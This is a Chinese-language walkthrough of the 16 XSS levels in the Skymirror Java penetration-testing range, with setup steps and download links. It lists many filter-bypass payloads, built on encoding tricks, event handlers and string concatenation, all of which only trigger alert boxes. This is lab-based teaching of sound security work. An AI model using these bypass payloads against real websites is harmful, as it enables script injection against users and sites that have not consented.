安全大头兵
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一、靶场地址
GitHub
https://github.com/mynameis0day/skymirror/tree/master
百度网盘
链接:https://pan.baidu.com/s/1103FAT65VLXWj0NbN4TYMw?pwd=37r2
提取码:37r2
二、靶场搭建
天境是一款基于Java编写的渗透测试靶场,目前1.0版本覆盖的漏洞类型是暴力破解、命令执行、反序列化、文件下载、SpEL注入、SSRF、文件上传、URL跳转、XSS、XEE,共计10种类型。
靶场启动特别简单,资源文件夹中包含了项目的源代码“SourceCode”和它的jar包文件“skymirror.jar”,大家可以根据自己的喜好来启动靶场。
下面说明一下如何利用jar包来启动该靶场:
(1)来到skymirror.jar的本地目录下
(2)运行命令“java -jar skymirror.jar”
(3)浏览器访问“本机IP:8080/interface/index.html”即可访问靶场。
启动成功如下图:
然后就可以愉快的玩耍了!
三、XSS关卡
靶场的XSS关卡共用16关,每一个关卡所考察的知识点都非常经典,值得大家好好钻研。
那就让我们开始通关之旅吧!
第一关:熟悉XSS漏洞
这一关没有任何的过滤,直接输入payload“<script>alert(1)</script>”即可触发弹窗:
第二关:叠堆绕过
看一下源代码:
可以知道,后台把“<script>”、“</script>”给过滤了,但只是过滤一次,所以这时候可以构造payload“<scr<script>ipt>alert(2)</sc</script>ript>”来绕过过滤:

第三关:事件绕过
看一下源代码:
后台把“script”替换为了“?”,可以得知,含有“script”的payload都不起作用了。这时候可以考虑利用事件来绕过过滤,构造payload:<img src=x onclick="alert(3)">,点击图片,成功触发弹窗:
总结一下常见事件函数:
第四关:html实体编码绕过
看一下源代码:
这一关过滤得非常严格,有“script”关键词、弹窗函数和伪协议javascript的payload都不起作用了。遇到这种情况,可以利用HTML编码绕过。
当"可控点"为单个标签属性时,可以使用 html 实体编码:
<a href="可控点">test</a>
<iframe src="可控点">test<iframe>
<img src=x onerror="可控点">
把<img src=x onerror="javascript:alert(1)">通过HTML编码为(注意需要编码的地方):
成功触发弹窗:
第五关:URL编码绕过
看一下源代码:
承接第四关,并且第五关把"&"、"#"、";"这三个符号过滤了,因此这一关不能继续使用HTML编码了。这时候我们利用url编码绕过。
当注入点存在 href 或者 src 属性时,可以使用 url 编码:
<a href="可控点">test</a>
<iframe src="可控点">test</iframe>
构造payload:<a href="javascript:alert(1)">test</a>,进行url编码(注意需要编码的地方):
<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>,点击“test”,成功触发弹窗:
注意:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。
第六关:js编码绕过
看一下源代码:
承接第四和第五关,为协议javascript被过滤了,所以url编码无法用,易知,HTML编码也无法用。这时候我们可以利用js编码绕过。
js 编码策略:
1、"\" 加上三个八进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\074"
2、"\x" 加上两个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\x3c"
3、"\u" 加上四个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "\u003c"
4、对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)
<img src=x onerror="可控点">
<input onfocus=location="可控点" autofocus>
构造payload:<img src=x onerror="alert(1)">,对其进行js编码:
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">,成功触发弹窗:
注:js编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 js编码时,只能对 alert 和 "1" 进行编码,框号编码后会被当成文本字符,不能执行。
第七关:混合编码绕过
看一下源代码:
承接第四、第五和第六关,这一关把事件也过滤了,单纯的html编码、url编码和js编码已经不起作用,这时候我们利用混合编码来绕过过滤。
遵循浏览器的解析顺序:HTML解码->URL解码->JS解码。
Payload:<a href="javascript:alert(1)">test</a>
①先进行js编码:
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
②再进行url编码:
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
③然后进行html编码:
点击“test”,成功触发弹窗:
第八关:base64编码绕过
base64 编码通常需要使用到 data 伪协议。
data 协议使用方法:data:资源类型;编码,内容。
通常与 base64 编码配合 data 协议的标签有 <object>、<a>、<iframe>。
构造payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>,成功触发弹窗:
第九关:ASCII编码绕过
ascii 编码一般配合String.fromCharCode函数使用。
alert(1):
十进制:97, 108, 101, 114, 116, 40, 49, 41
十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29
十进制payload:
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>,成功触发弹窗:
十六进制payload:
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>,成功触发弹窗:
第十关:函数拼接绕过
看一下源代码:
这一关过滤非常严格,常规的payload和编码payload已经无法绕过,这时候我们利用函数拼接绕过过滤。
0x01. eval
<img src="x" onerror="eval('al'+'ert(1)')">:
0x02. top
<img src="x" onerror="top['al'+'ert'](1)">:
0x03. window
<img src="x" onerror="window['al'+'ert'](1)">:
0x04. self
<img src="x" onerror="self[`al`+`ert`](1)">:
0x05. parent
<img src="x" onerror="parent[`al`+`ert`](1)">:
0x06. frames
<img src="x" onerror="frames[`al`+`ert`](1)">:
常用函数:
<img src="x" onerror="eval(alert(1))"> <img src="x" onerror="open(alert(1))"> <img src="x" onerror="document.write(alert(1))"> <img src="x" onerror="setTimeout(alert(1))"> <img src="x" onerror="setInterval(alert(1))"> <img src="x" onerror="Set.constructor(alert(1))"> <img src="x" onerror="Map.constructor(alert(1))"> <img src="x" onerror="Array.constructor(alert(1))"> <img src="x" onerror="WeakSet.constructor(alert(1))"> <img src="x" onerror="constructor.constructor(alert(1))"> <img src="x" onerror="[1].map(alert(1))"> <img src="x" onerror="[1].find(alert(1))"> <img src="x" onerror="[1].every(alert(1))"> <img src="x" onerror="[1].filter(alert(1))"> <img src="x" onerror="[1].forEach(alert(1))"> <img src="x" onerror="[1].findIndex(alert(1))">
第十一关:赋值拼接绕过
看一下源代码:
过滤得非常严格,但是我们发现,后台只是把“top”经过单次替换,使用所以这时候我们可以利用赋值和叠堆来绕过过滤,构造payload:
<img src onerror=['ale'+'rt'].map(totopp['ev'+'al'])[0]['valu'+'eOf']()(1)>,成功触发弹窗:
第十二关:火狐IE专属
构造火狐IE浏览器的专属payload:
<marquee onstart=alert(1)>,在火狐浏览器尝试,成功触发弹窗:
第十三关:throw绕过
构造payload:
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">,成功触发弹窗:
第十四关:大小写绕过
这一关难度明显比之前的低N个等级,构造payload:
<Script>alert(1)</scrIpt>,成功触发弹窗:
第十五关:空格/回车(换行符)/Tab绕过
构造payload:
<img src=x onerror="javascript: alert(1)">,成功触发弹窗:
第十六关:alert被过滤
构造payload:
<script>confirm(/xss/)</script>,成功触发弹窗:
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
